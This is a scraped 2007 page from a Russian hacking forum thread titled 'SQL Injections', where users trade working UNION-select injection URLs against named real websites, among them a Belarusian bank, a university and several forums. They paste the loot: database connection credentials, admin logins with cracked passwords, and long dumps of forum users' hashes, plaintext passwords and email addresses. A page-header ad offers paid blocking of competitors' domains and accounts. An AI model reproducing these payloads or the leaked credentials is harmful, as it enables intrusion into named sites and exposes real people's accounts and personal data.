SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 372 из 1602

372

Опции темы

Поиск в этой теме

Опции просмотра

22.11.2007, 19:23

v1ru$

Постоянный

Регистрация: 17.03.2007

Сообщений: 336

С нами: 10080326

Репутация: 576

Код:

http://www.cgc onn.com/content/article.php?id=-77'+union+select+1,2,user,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+mysql.user/*

Интересный логин-pma,логинимся в http://www.cgc onn.com/phpmyadmin под логином pma без пасса)

Код:

http://www.cgc onn.com/content/article.php?id=-77'+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables/*

Таблицы хранятся в другой бд,юзаем переход через точку
Определяем БД

Код:

http://www.cgcon n.com/content/article.php?id=-77'+union+select+1,2,table_schema,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables+where+table_name='users'/*

Код:

http://www.cg conn.com/content/article.php?id=-77'+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+parts.users+limit+1,10/*

Код:

http://www.cgco nn.com/content/article.php?id=-77'+union+select+1,2,concat(name,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+webauth.user_pwd/*

и т.д и т.п

𝕏 Twitter Reddit Telegram Копировать ссылку

Снова скулы

22.11.2007, 19:42

fntms

Новичок

Регистрация: 21.11.2007

Сообщений: 15

С нами: 9721674

Репутация: 21

Снова скулы

хренпроссышь что за контора - админка /admin/
http://abvgroup.ru/part.php?id=-1%20union%20select%20login,password%20from%20users %20/*

вот думал бабла надыбать помелочи..нашел скулу..
http://sportingbet.enetpulse.com/?g=ts&stats=true&sid=2007&lid=-5%20union%20select%201,2,LOAD_FILE(char(47,104,111 ,109,101,47,109,105,110,105,115,105,116,101,115,47 ,115,112,111,114,116,105,110,103,98,101,116,46,101 ,110,101,116,112,117,108,115,101,46,99,111,109,47, 116,115,95,115,116,97,116,115,46,112,104,112)),4,5 ,6,7,8,9,10,11%20from%20mysql.user/*мож кто допетрит..

клубинка какая-то ..впадлу пасы декодить ...
http://www.clubinka.ru/release.php?rdl=6%20AND%201=19%20union%20select%20 1,2,3,AES_DECRYPT(AES_ENCRYPT(login,0x71),0x71),AE S_DECRYPT(AES_ENCRYPT(pass,0x71),0x71),6,7,8,9%20f rom%20admin%20/*

http://www.toptur.ru/?pp=&cat=-73'%20union%20select%201,AES_DECRYPT(AES_ENCRYPT(v ersion(),0x71),0x71),3,4/*

софт какой-то ...да пох какой софт.. таблиц не нашел
http://nextaz.com/showsoft.php?id=-8247%20union%20select%201,version(),3,4,5,6,7,8,9, 10,11,12%20/*

22.11.2007, 21:51

TheSoul

Познающий

Регистрация: 12.11.2007

Сообщений: 94

С нами: 9734391

Репутация: 71

http://newkurkino.ru

http://newkurkino.ru/modules.php?op=modload&name=News&file=article&sid=-1+union+select+1,concat_ws(0x2F,version(),database %20(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21/*

4.0.26-log/udb223/Uwww223S@localhost

23.11.2007, 00:04

Red_Red1

Участник форума

Регистрация: 12.01.2007

Сообщений: 262

С нами: 10172486

Репутация: 874

Белвнешэкономбанк

Код:

http://bveb.by/currency/pmetals.php?Metal=-2+union+select+1,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),3,4,5,6/*&DateStamp=2007-11-20%2000:00:00

А вот для входа юзеров там савсем другой сайтик.... интересно и там порыться но это уже другая история

23.11.2007, 15:14

fntms

Новичок

Регистрация: 21.11.2007

Сообщений: 15

С нами: 9721674

Репутация: 21

Цитата:

Сообщение от Red_Red1

Белвнешэкономбанк

Код:

http://bveb.by/currency/pmetals.php?Metal=-2+union+select+1,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),3,4,5,6/*&DateStamp=2007-11-20%2000:00:00

А вот для входа юзеров там савсем другой сайтик.... интересно и там порыться но это уже другая история

http://bveb.by/currency/pmetals.php?Metal=-2+union+select+1,LOAD_FILE(char(47)),3,4,5,6%20fro m%20mysql.user/*&DateStamp=2007-11-20%2000:00:00

$DBhost="localhost";
$DBuser="vbank";
$DBpassword="Dilnak41";
$DBdatabase="bvebank";
$CommonResurseLocation = "http://217.23.115.9/";

коннект к мускулу возможен с любого хоста

user: vbank
host: %

таблицы.
bvebank (48)

balanc1
balance
balanceitem
bankfinnews
bankomat
bankomat_city
bankomat_users
banktitles
br1
br2
bv
cp
d_currency
d_filials
d_name
d_percent
d_stavki
d_users
filials_time_work
mainfinacts
mainfinactsarch
metalr1
metalr3
metalr4
metalr5
metalr6
metalr7
metalt1
metalt3
metalt4
metalt5
metalt6
metalt7
mt1
mt2
opros
opros1
opros2
partner
pmetals
property
propertyitem
revenue
revenueitem
sadmusers
subscribertasks
subscribeusers
users

23.11.2007, 15:29

Nea7

Участник форума

Регистрация: 08.09.2007

Сообщений: 211

С нами: 9828237

Репутация: 778

Ахалай махалай рахат лукум sql-inj на vfs.com =)
собсно найдена она была давно... и на ней уже успел "поработать" какой-то сеошник =(
красивый вывод всех таблиц...

Код:

http://www.vfs.com/faculty.php?id=-1+union+select+1,concat(table_name),3+from+information_schema.tables/*

Код:

http://www.vfs.com/faculty.php?id=-1+union+select+1,concat(auth_username,0x3a,auth_password),3+from+vfscom_db.auth_tbl/*

stephen:261972f4500fa75a //пароль:eezy4u:
ccalnan:28f639a5162ecbb9
jderry:17fc2e8f0148bb35 //пароль:beb78e:
beata:0b097aa7659f8502
bbains:261972f4500fa75a //пароль:eezy4u:
studentservices:41acaf8f60411fc0
jennica:314f01b446e888ba
olambert:5a4e3a8648b173d6
mediateam:261972f4500fa75a //пароль:eezy4u:
lhenderson:261972f4500fa75a //пароль:eezy4u:
jbringsli:264f74d364088dd0
jmorris:61f5620c5a2c7c05
wtsang:659bab5b180b310c

Код:

http://www.vfs.com/robots.txt

User-agent: *
Disallow: /webtv/
Disallow: /webtv.php
Disallow: /index_down.html
Disallow: /htmlemail/
Disallow: /webs/
Disallow: /backend/ //админка

также там есть вордресс...

23.11.2007, 00:18

EST a1ien

Участник форума

Регистрация: 02.04.2006

Сообщений: 273

С нами: 10582516

Репутация: 114

Сайт сервера la2 - стоит java эмуль

список табличек

Код:

http://www.l2planet.ru/?go=files&type=3%20union%20select%201,2,table_name,4,5,6,7%20from%20information_schema.tables/*

список пользователей + пасы

Код:

http://www.l2planet.ru/?go=files&type=3%20union%20select%201,2,account,newpass,oldpass,6,7%20from%20pass_ls_l2pl/*

пасы зашифрованы таким образом

PHP код:


		
			
base64_encode(pack("H*",sha1(utf8_encode($password))));

такчто расшифровывать можно долго(или я неправ)

LOAD_FILE - запрещен
кавычки запрещены - меджик квотес (приходится юзать char())
Вобщем нечего более интересного добыть не удалось.

Последний раз редактировалось EST a1ien; 23.11.2007 в 00:45..

23.11.2007, 02:44

Dark[<X>]D1ablo

Новичок

Регистрация: 21.10.2007

Сообщений: 5

С нами: 9766971

Репутация: 9

Код:

http://www.hpol.org/transcript.php?id=-92+union+select+1,table_name,version(),4,database()+from+iNFORMATION_SCHEMA.TABLES+limit+0,2/*

version=mysql 5.0.27
user=ro@localhost
database= listen

Код:

http://www.tat.pl/sztuka_ld.php?id=-776+union+select+1,table_name+from+INFORMATION_SCHEma.tables/*

version= 5.0.33

Последний раз редактировалось Dark[<X>]D1ablo; 23.11.2007 в 03:24..

23.11.2007, 03:24

ZAMUT

Members of Antichat - Level 5

Регистрация: 24.10.2007

Сообщений: 256

С нами: 9762146

Репутация: 1174

2 Dark[<X>]D1ablo

Код:

http://www.hpol.org/transcript.php?id=-92+union+select+1,concat(table_schema,0x3a,table_name),3,4,5+from+INFORMATION_SCHEMA.columns+where+column_name=0x70617373776F7264+limit+0,1/*

hpol:administrator

Код:

http://www.hpol.org/transcript.php?id=-92+union+select+1,concat_ws(0x3a,name,password),3,4,5+from+hpol.administrator+limit+0,1/*

Tao Huang:test
Admin:hpol
Jerry Goldman:jumber
stubaker:admin
Tony Becker:shooter

Такой вид скули более интересен =)

#10

23.11.2007, 03:53

K1nD[e]R

Участник форума

Регистрация: 16.06.2007

Сообщений: 133

С нами: 9949072

Репутация: 237

Код:

http://www.correl.ru/intresting.php?id=-557+union+select+1,2,3,table_name,5,6+from+information_schema.columns+where+column_name=0x70617373776f7264/*

Код:

8 баз
administrators.
cinema_accounts.
flashchat_rooms.
flashchat_users.
forum_users.
ibf_forums.
ibf_members.
user.

1 база [administrators.]
login: password:

andy pereslavl
mishasun 2038134

2 База [forum_users]

Nick: password: mail:

Код:

Самозванец/4321/sam@nifiga.net.
  Asa/231274/alseal74@mail.ru.
  Киса/2005/123.
  Ёлка/4321/nafiesta@mail.ru.
  Alpik/0221/homyak-info@mail.ru.
  Geniy/123789/werty.
  Taret/987321/asdf.
  Neon/456321/lkjh.
  КОНТРА/7777/hok@kontra.ru.
  Рамиль/bubas/slon-ram@mail.ru.
  niagara/1234/zxc.
  Ирина/13579/isaluk82@mail.ru.
  дима/killer/prebludok@mail.ru.
   Киса/2005/123.
   Ёлка/4321/nafiesta@mail.ru.

3 база [ibf_members]

Name: Password: email: icq:

Код:

  Guest//test@localhost.com.
        asa/d744696db9cf57a74b7cba61daa3899c/alseal74@mail.ru/257957338.
        clon/c5b2cebf15b205503560c4e8e6d1ea78/tigrenich@mail.ru.
        deva/c5b2cebf15b205503560c4e8e6d1ea78/deva_80@bk.ru.
        Jene4ka/633909fd73441abd86c2e934fe82b3aa/kitten@joker.botik.ru/110310110.
        nata1/827ccb0eea8a706c4c34a16891f84e7b/nata1_77@bk.ru/.
        Lena/04f8c854cb60b1b9f23cafe7501ccf79/superlenok1981@mail.ru.
        Lidia/71b3b26aaa319e0cdf6fdb8429c112b0/lidia04@mail.ru.
        ninok/c5b2cebf15b205503560c4e8e6d1ea78/ninok@list.ru.
        Вера/c5b2cebf15b205503560c4e8e6d1ea78/svaga@bk.ru.
        repic/c5b2cebf15b205503560c4e8e6d1ea78/repic@bk.ru.
        Аяна/60d75b56ccd0786104966d0923c7e2f1/aynochka@yandex.ru.
        isa/a8698009bce6d1b8c2128eddefc25aad/isaluk82@mail.ru.
        Iricka/1c8d2ab0dceeab4ee9df6b408662dfc3/ir1976@rambler.ru.
        алена/d70ebd4b4a1e63cbe210c5deb84866a0/samoshka25@mail.ru.
        Tanya/040b7cf4a55014e185813e0644502ea9/tanya123@mail.ru/312780559.
        E-dgin/a8e8a72b3a601405353123027f0aaf8a/e-dgin@yandex.ru/.
        КОНТРА/900293ddcbf0e10d40732e5f2d41cdb5/kiut-red@mail.ru.
        КОНТРОЛЕР/cc57497c5e0d93bab6b3ca140b33428a/kiut-red@mail.ru/.
        Синяя роза/3f366c879a71e9ba217568f1d2a0a8c5/kiska_i@inbox.ru/.
        Collins/a822c1b51da67e079bf1c461f85cb1cb/collins2004@list.ru/329017195.
        дедушкин   ТАБАК!!!!!!/4297f44b13955235245b2497399d7a93/kolaskin@mail.ru/111603986.
        dolla®/4bc74efcbe25b1e867ef19a1f56872ca/djwax@imail.ru.
        Dulcineya/4ed88732144d08f24d136825383759a0/doctor-65@mail.ru.
        pilligrim/baf4d8a3668a117e64bb4881639826a7/pilligrim3000@mail.ru.
        Konstantin/14dc0375ed631ce6f134abbf042fd845/zztopper@bk.ru.
        Тайский/e10adc3949ba59abbe56e057f20f883e/andrey2332@yandex.ru/.
        АНИКЕН/007769e839806c0a6376c5a18e4bd7a5/kit23@mail.ru.
        ЭНИКЕН/cc57497c5e0d93bab6b3ca140b33428a/kit23@mail.ru.
        БИ О/cc57497c5e0d93bab6b3ca140b33428a/kit23@mail.ru.
        ЛО!/cc57497c5e0d93bab6b3ca140b33428a/lo@inbox.ru.
        viola/e10adc3949ba59abbe56e057f20f883e/viola@wuw.ru.
        Ш УРА/007769e839806c0a6376c5a18e4bd7a5/shura@mail.ru.
        SHУРА/cc57497c5e0d93bab6b3ca140b33428a/shura@mail.ru.
        ДИМОН 25/cc57497c5e0d93bab6b3ca140b33428a/ser@mail.ru.
        МАКСВЕЛЛ/f343bfc68486ab3c37e9c3e4e151b277/cd-102@list.ru/202414832.
        Miledy/633909fd73441abd86c2e934fe82b3aa/crazylisi4ka@bk.ru.
        Black_Rose/a19e98b06127b9f0cce5e0d7a1851438/moth@pereslavl.ru/169378935.
        ЖЕЛАННАЯ/a7d6985a6157a276a7d2d7e75e9aadec/katyshka17@mail.ru.
        ЖЕЛАННАЯ/cc57497c5e0d93bab6b3ca140b33428a/katia15@mail.ru.
        Nata/c68f1a64b81f32be5fd83587de848e89/nata@tm-net.ru.
        sexygerl/827ccb0eea8a706c4c34a16891f84e7b/tigrenich@mail.ru.
        Yulja/a4e28cb962c7595d2a06563521dce4d6/zuya@joker.botik.ru.
        ГЕСС/cc57497c5e0d93bab6b3ca140b33428a/gess@mail.ru.
        Алексей Сергеев/f497b7c74a361d9212acec1808a85918/sergeev71@mail.ru.
        зайка/cc57497c5e0d93bab6b3ca140b33428a/zaiaka@mail.ru.
        МАЛЬВИНА/e6c7c37b7b3982be6ec9328480f7130b/panda20@mail.ru.
        ana/827ccb0eea8a706c4c34a16891f84e7b/natik555_05@mail.ru/.
        Stasya/389861652a2f1a07a1074bd0727efe81/stasya@mail.ru/53407902.
        Pesi/599481398359afbd99278929eb02f420/pesi@rambler.ru/.
        LonelySoul/c39c35b146e4f2b8bd051f87ed702143/nadezhda83@yandex.ru/192811435.
        helen/89e064f5b7ed7f3ad2def76de9375b69/helen14@land.ru.
        saz5x/e10adc3949ba59abbe56e057f20f883e/saz5x@mail.ru.
        гадя петрович хренова/cc57497c5e0d93bab6b3ca140b33428a/cd-102@mail.ru.
        Убитый/e9fb2eda3d9c55a0d89c98d6c54b5b3e/nlv_1975@pochta.ru.
        nawiht/ee3c517129c3af53d31ec4465dc3ebd0/nawiht@mail.ru/336587053.
        Nik/baf22ddb7b1a317d860f48638254e2e9/ryabishkinav@mail.ru.
        voron/bb9fbb5184689258492a7b9e308462c2/pritulo@rambler.ru.
        OttO/81dc9bdb52d04dc20036dbd8313ed055/propk@rambler.ru.
        ангело4ек/23804091115791b3b331fd1e1fa7355d/angelochek1989@mail.ru/268806236.
        Alexander1/449a8249933eeeff8d5e192a10bba221/alexfom81@yahoo.com.
        kostyan/f7c637636b330a0a350140173e0ee9e1/kpashkulsky@gmail.com.
        ИРБИС/65609ad84147ff8dea5ad068c66a1447/leo.65@bk.ru.
        *turklin*/a598fb9489bb74c48129214fc3f95c52/andy2032@yandex.ru.
        Правовая защита и консалтинг/827ccb0eea8a706c4c34a16891f84e7b/mail@l-p-c.ru/.
        Елена/555f2b90974eb8d447626037de2d4c18/00137@rambler.ru.
        Екатерина/d93591bdf7860e1e4ee2fca799911215/00121@rambler.ru.
        1megastar/f3f2dbe8093c29b9adda8b13ed45a06a/andy2032@narod.ru.
        -kisa-/3bdf27c799f2a88ef2acd8148b0a6730/cats4me@narod.ru.
        Darlinga/e10adc3949ba59abbe56e057f20f883e/os_revizor@mail.ru.
        webmoneyjob/343b1c4a3ea721b2d640fc8700db0f36/webmoneyjob@yahoo.com.
        *yan*/7219b9b60d9d70a9a7014369d88ebefe/andy2032@ya.ru.
        Ada/a152e841783914146e4bcd4f39100686/love494@rambler.ru.
        Девственница/cc57497c5e0d93bab6b3ca140b33428a/devstvennitsa90@mail.ru/.
        ogqxeefb/700a9c6f1350c602633df5f8d682ca77/egenomgaul@zzheh.ru.
        tvjaznx/8aa150a326ea92cdc8c427ddce5f7e8c/ykfujvd@odblcf.ru.
        zlswpu/eddd10c5af29183c2f33b484f7fdeee7/ejsklotqn@ltufwyds.ru.
        lqtmzopbtu/23e7640c6fc4a8864725d2591c7168df/fpxqkg@ljrjkjadrr.ru.
        ocxlc/02812bd32dbf58e31b6d8bb328077be0/czhumtabyr@tuogia.ru.
        tjflkycln/05fa3e07e8f3e69cf1fce3d0820e01cd/xmdayod@eqsonpiglt.ru.
        ibiccju/e0e6795666966ddad025fa651d17c284/svlgnsgqqo@ngvurw.ru.
        NUR/827ccb0eea8a706c4c34a16891f84e7b/allhobby@yandex.ru.
        wbmco/3a9cd4fb04b65e7611a941c81d468898/mdmkoppfvs@gmslxemmu.ru.
        mnpfnyddlw/4e7c8fb0c2fbe4e5b08e612fcb5386a4/kgpnmazp@ifywpkhx.ru.
        ocrzecf/9f629790a33a632b73e073ea6760d4af/otynj@ygdxgqp.ru.
        ndgnswryz/4dc2ca96bafc5e88169004dd1ebdc1bb/skvnrlcm@euepqiba.ru.
        skjbfcgwqc/ffcba34286b1b73e37c7b4a85793e4c1/tjugg@fqpnoyqh.ru.
        tehnyk3/e10adc3949ba59abbe56e057f20f883e/tehnyk3@mail.ru.
        jyvdyly/9c6d6f61bfa71179977706739046bafc/flwdq@fwozo.ru.
        bkhhus/30517df6d4910b09f49d86e82323ac45/hvfgrsk@bveeassmhv.ru.
        myfduygp/62715d5a8e44894cd6486c9fe44a041a/didur@jgzcij.ru.
        hewduiipd/f30c512e247edca62f39f84e6289d4ea/fdqokmamzu@gxndhu.ru.
        xgatmbll/c2ae1896b1682440c04725cecada70a4/ermrog@hnpyfw.ru.
        mssoft/e10adc3949ba59abbe56e057f20f883e/mssoft@bk.ru.
        mdbgfqcb/240a2cc4464bc9038e9017a8a6722e82/vptcoymxe@uhuyo.ru.

4 база [cinema_accounts]
Name: Login: Password:

Код:

 Артем Первин/versus/08616ab08c5f7c9bc9b08ff2e827c20b.
Дмитрий/Felix/81dc9bdb52d04dc20036dbd8313ed055.
Оксана/Oksana/d0dbe915091d400bd8ee7f27f0791303.
Сергей Алпаткин/asa/6885e793942458d3ba11f083f35d8178.